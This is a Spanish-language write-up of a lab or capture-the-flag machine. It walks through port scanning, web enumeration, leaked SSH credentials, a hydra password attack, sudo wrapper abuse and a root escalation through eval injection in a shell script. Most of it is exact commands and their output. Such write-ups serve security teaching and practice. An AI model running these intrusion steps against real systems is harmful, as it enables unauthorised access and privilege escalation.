Reconocimiento
Comenzamos identificando la dirección IP asignada a la máquina víctima dentro de la red local:
❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.3.161 08:00:27:d7:ab:55 PCS Systemtechnik GmbHLa dirección MAC corresponde a una interfaz de VirtualBox, por lo que fijamos 192.168.3.161 como objetivo.
Enumeración de servicios
Lanzamos un barrido de todos los puertos TCP. La opción -p- abarca los 65 535 puertos, -sS realiza un escaneo SYN, --min-rate 5000 establece una tasa mínima de 5000 sondas por segundo, -n desactiva la resolución DNS y -Pn omite el descubrimiento previo al asumir que el host está activo. Por último, -oG guarda el resultado en formato grepable para poder procesarlo con facilidad:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.3.161
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 01:18 -0300
Nmap scan report for 192.168.3.161
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:D7:AB:55 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.64 secondsSolo encontramos SSH en el puerto 22 y HTTP en el 80. Realizamos un segundo escaneo limitado a esos puertos con -p 22,80. La combinación -sCV ejecuta los scripts predeterminados de Nmap (-sC) y activa la detección de versiones (-sV), mientras que -oN guarda el resultado en el formato normal de Nmap:
❯ nmap -sCV -Pn -p 22,80 -oN 02-targeted.txt 192.168.3.161
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-07 01:18 -0300
Nmap scan report for 192.168.3.161
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.67 ((Unix))
|_http-server-header: Apache/2.4.67 (Unix)
|_http-title: Maze \xE5\x86\x85\xE9\x83\xA8\xE7\xAE\xA1\xE7\x90\x86\xE7\xB3\xBB\xE7\xBB\x9F - \xE7\x99\xBB\xE5\xBD\x95
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 secondsEl servidor web utiliza Apache y presenta una aplicación llamada Maze Internal Management System. Como todavía no disponemos de credenciales para SSH, centramos la enumeración en el puerto 80.
Enumeración web
Enumeramos archivos y rutas comunes con Gobuster:
❯ gobuster dir -u 'http://192.168.3.161' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html -r
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.3.161
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/wh01s17/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php (Status: 200) [Size: 2574]
dashboard.php (Status: 200) [Size: 1572]
server-status (Status: 403) [Size: 316]
Progress: 882180 / 882180 (100.00%)
===============================================================
Finished
===============================================================index.php muestra un formulario de autenticación:

Sin embargo, Gobuster también descubre dashboard.php y el servidor responde con estado 200. Al solicitar esa ruta directamente comprobamos que el panel interno no valida que exista una sesión autenticada:

El panel contiene un aviso operativo que expone en texto claro las credenciales SSH baolong:jinhua. La versión traducida de la misma página permite leer el mensaje con mayor claridad:

Acceso inicial mediante SSH
Comprobamos las credenciales filtradas contra el servicio SSH:
❯ ssh baolong@192.168.3.161
baolong@192.168.3.161's password: jinhua
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|
baolong@longshao:~$La autenticación funciona y obtenemos una sesión interactiva como baolong, desde la que recuperamos la flag de usuario. A continuación recopilamos información básica del sistema y de los servicios en escucha:
baolong@longshao:~$ id; hostname; whoami; uname -a; cat /etc/os-release; ss -tuln
uid=1000(baolong) gid=1000(baolong) groups=1000(baolong)
longshao
baolong
Linux longshao 7.0.10-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-23 11:50:19 x86_64 Linux
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.24.0_alpha20260127
PRETTY_NAME="Alpine Linux edge"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*La máquina ejecuta Alpine Linux y, aparte de los servicios ya identificados, no presenta otros puertos locales en escucha.
Enumeración local como baolong
Revisamos los usuarios del sistema que disponen de una shell válida:
baolong@longshao:~$ grep -E '/(ba)?sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
baolong:x:1000:1000::/home/baolong:/bin/bash
chaojibaolong:x:1001:1001::/home/chaojibaolong:/bin/bash
chaojiwudilong:x:1002:1002::/home/chaojiwudilong:/bin/bashAdemás de nuestra cuenta aparecen chaojibaolong y chaojiwudilong. Durante la revisión del sistema encontramos también un binario personalizado en /opt/internal:
baolong@longshao:/opt/internal$ ls -l
total 16
-rwxr-x--- 1 root chaojibaolong 14152 May 28 11:08 parser_coreparser_core pertenece a root, pero solo puede ejecutarlo su propietario o un miembro del grupo chaojibaolong. Como ese nombre coincide con uno de los usuarios locales, comprobamos si la cuenta utiliza una contraseña débil mediante un ataque de diccionario contra SSH:
❯ hydra -l chaojibaolong -P ~/Documents/wordlists/rockyou.txt -t 4 192.168.3.161 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak
...
[22][ssh] host: 192.168.3.161 login: chaojibaolong password: love123
...Hydra identifica la contraseña love123. La validamos iniciando una nueva sesión SSH:
❯ ssh chaojibaolong@192.168.3.161
chaojibaolong@192.168.3.161's password: love123
_
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
\ V V / __/ | (_| (_) | | | | | | __/
\_/\_/ \___|_|\___\___/|_| |_| |_|\___|
chaojibaolong@longshao:~$Movimiento lateral a chaojiwudilong
Desde la cuenta chaojibaolong, consultamos los comandos permitidos mediante sudo:
chaojibaolong@longshao:~$ sudo -l
Matching Defaults entries for chaojibaolong on longshao:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for chaojibaolong:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User chaojibaolong may run the following commands on longshao:
(ALL : ALL) NOPASSWD: /usr/local/bin/check_parserLa regla permite ejecutar /usr/local/bin/check_parser como cualquier usuario, incluido root, sin proporcionar contraseña. Para entender el comportamiento del analizador al que llega este wrapper, revisamos las cadenas legibles de parser_core:
chaojibaolong@longshao:~$ strings /opt/internal/parser_core
...
[!] Security Violation: Core parser must retain eUID 0.
[!] Parameter Error: Invalid cluster argument count.
[!] Compliance Error: Only *.log files are authorized.
[!] Path Restriction: Access denied.
=================================================
ChaoJiBaoLong Log Analyser - Security Core v3
[!] Error: Target log file not found.
[*] DevSecOps Emergency Notice: Switching context...
[+] Analysis completed successfully.
--debug
.log
/tmp/
chaojiwudilong
/bin/su
[*] Reading log file...
...Las cadenas revelan las condiciones relevantes del programa: exige conservar un EUID de 0, acepta archivos con extensión .log dentro de /tmp, reconoce la opción --debug y contiene una ruta de cambio de contexto hacia chaojiwudilong mediante /bin/su.
Podemos activar esa ruta de emergencia proporcionando un nombre válido por formato y ubicación, pero cuyo archivo no exista:
chaojibaolong@longshao:~$ sudo /usr/local/bin/check_parser /tmp/nonexistent.log --debug
=================================================
ChaoJiBaoLong Log Analyser - Security Core v3
=================================================
[!] Error: Target log file not found.
[*] DevSecOps Emergency Notice: Switching context...
chaojiwudilong@longshao:~$El wrapper se ejecuta mediante sudo, así que el analizador conserva los privilegios necesarios para invocar su sin solicitar la contraseña del usuario de destino. Como resultado obtenemos una shell como chaojiwudilong.
Escalada de privilegios mediante eval
Consultamos de nuevo los permisos de sudo, esta vez desde el contexto de chaojiwudilong:
chaojiwudilong@longshao:~$ sudo -l
Matching Defaults entries for chaojiwudilong on longshao:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for chaojiwudilong:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User chaojiwudilong may run the following commands on longshao:
(root) NOPASSWD: /usr/local/bin/a.shPodemos ejecutar /usr/local/bin/a.sh como root. Revisamos su contenido y permisos:
chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh
PATH=/usr/bin
cd /tmp
read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"
chaojiwudilong@longshao:~$ ls -l /usr/local/bin/a.sh
-rwxr-xr-x 1 root root 82 May 28 11:52 /usr/local/bin/a.shLa vulnerabilidad surge de combinar los argumentos posicionales del script con una entrada controlada por el usuario y evaluarla posteriormente mediante eval. El proceso ocurre de la siguiente manera:
- Ejecutamos el script pasando
/bin/bashy-pcomo argumentos. Dentro dea.sh, esos valores quedan almacenados como$1y$2; el filtro detrno los examina ni los modifica. - El comando
head -n1espera una línea por la entrada estándar. Introducimos"$@", donde$@es una variable especial de Bash que representa todos los argumentos recibidos por el script. tr -d "[A-Za-z0-9/]"elimina letras, números y barras de esa línea. Como"$@"solo contiene comillas, el signo$y@, atraviesa el filtro sin cambios y se guarda literalmente enCMD.eval "$CMD"vuelve a interpretar el contenido deCMDcomo código de shell. En esta segunda interpretación,"$@"se expande a los argumentos originales:/bin/bash -p.
La transformación puede resumirse así:
Argumentos de a.sh: $1=/bin/bash $2=-p
Entrada por stdin: "$@"
Después de tr: "$@"
Después de eval: /bin/bash -pEl filtro nunca recibe directamente la cadena /bin/bash -p; solo procesa la referencia indirecta "$@". Como a.sh se está ejecutando mediante sudo, el nuevo proceso de Bash hereda los privilegios de root:
chaojiwudilong@longshao:~$ sudo /usr/local/bin/a.sh /bin/bash -p
"$@"
longshao:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
longshao:/tmp# whoami
rootLa opción -p indica a Bash que conserve los privilegios efectivos heredados. Las salidas de id y whoami confirman que la escalada ha funcionado; recuperamos la flag final y damos por completada la máquina.